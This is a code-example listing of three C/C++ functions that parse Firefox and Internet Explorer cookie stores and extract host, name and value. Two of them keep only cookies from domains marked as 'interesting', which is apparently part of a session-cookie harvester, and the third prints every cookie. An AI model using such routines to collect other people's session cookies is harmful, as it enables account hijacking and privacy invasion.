コード例 #1
0
ファイル: Cookie_FireFox.cpp プロジェクト: BwRy/core-linux
int static parse_sqlite_cookies(void *NotUsed, int argc, char **argv, char **azColName)
{
	char *host = NULL;
	char *name = NULL;
	char *value = NULL;

	for(int i=0; i<argc; i++){
		if(!host && !_stricmp(azColName[i], "host"))
			host = _strdup(argv[i]);
		if(!name && !_stricmp(azColName[i], "name"))
			name = _strdup(argv[i]);
		if(!value && !_stricmp(azColName[i], "value"))
			value = _strdup(argv[i]);
	}	

	NormalizeDomainA(host);
	if (host && name && value && IsInterestingDomainA(host))
		AddCookieA(host, name, value);

	SAFE_FREE(host);
	SAFE_FREE(name);
	SAFE_FREE(value);

	return 0;
}
コード例 #2
0
VOID ParseIECookie(LPWSTR strFileName)
{
	LPSTR strHost, strName, strValue;
	LPSTR strCookie = (LPSTR) MapFile(strFileName, FILE_SHARE_READ);

	if (!strCookie)
		return;

	LPSTR strTemp = strCookie;
	for (;;)
	{
		strName = strTemp;
		if (!(strTemp = strchr(strTemp, '\n')))
			break;
		*strTemp++ = 0;
		strValue = strTemp;

		if (!(strTemp = strchr(strTemp, '\n')))
			break;
		*strTemp++ = 0;
		strHost = strTemp;

		if (!(strTemp = strchr(strTemp, '\n')))
			break;
		*strTemp++ = 0;

		if (!(strTemp = strstr(strTemp, "*\n")))
			break;
		strTemp += 2;

		NormalizeDomainA(strHost);
		if (IsInterestingDomainA(strHost))
			AddCookieA(strHost, strName, strValue);
	}

	zfree(strCookie);
}
コード例 #3
0
ファイル: main.cpp プロジェクト: xsysvermin/IECookie
void ParseIECookieFile(WCHAR *file)
{
	char *session_memory = NULL;
	DWORD session_size;
	HANDLE h_session_file;
	DWORD n_read = 0;
	char *ptr, *name, *value, *host;

	//创建文件
	h_session_file = CreateFileW(file, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	if (h_session_file == INVALID_HANDLE_VALUE)
		return;

	//获取文件大小
	session_size = GetFileSize(h_session_file, NULL);
	if (session_size == INVALID_FILE_SIZE || session_size == 0) {
		CloseHandle(h_session_file);
		return;
	}
	session_memory = (char *)malloc(session_size + sizeof(WCHAR));
	if (!session_memory) {
		CloseHandle(h_session_file);
		return;
	}
	//读取
	memset(session_memory, 0, session_size + sizeof(WCHAR));
	if (!ReadFile(h_session_file, session_memory, session_size, &n_read, NULL)) {
		CloseHandle(h_session_file);
		SAFE_FREE(session_memory);
		return;
	}
	CloseHandle(h_session_file);
	if (n_read != session_size) {
		SAFE_FREE(session_memory);
		return;
	}

	ptr = session_memory;
	for(;;) {
		name = ptr;
		if (!(ptr = strchr(ptr, '\n')))
			break;
		*ptr = 0;
		ptr++;
		value = ptr;
		if (!(ptr = strchr(ptr, '\n')))
			break;
		*ptr = 0;
		ptr++;
		host = ptr;
		if (!(ptr = strchr(ptr, '\n')))
			break;
		*ptr = 0;
		ptr++;
		if (!(ptr = strstr(ptr, "*\n")))
			break;
		ptr+=2;
		NormalizeDomainA(host);

		if (host && name && value)
			printf("host=%s,\tname=%s,\tvalue=%s\n",host,name,value);

	} 
	SAFE_FREE(session_memory);
}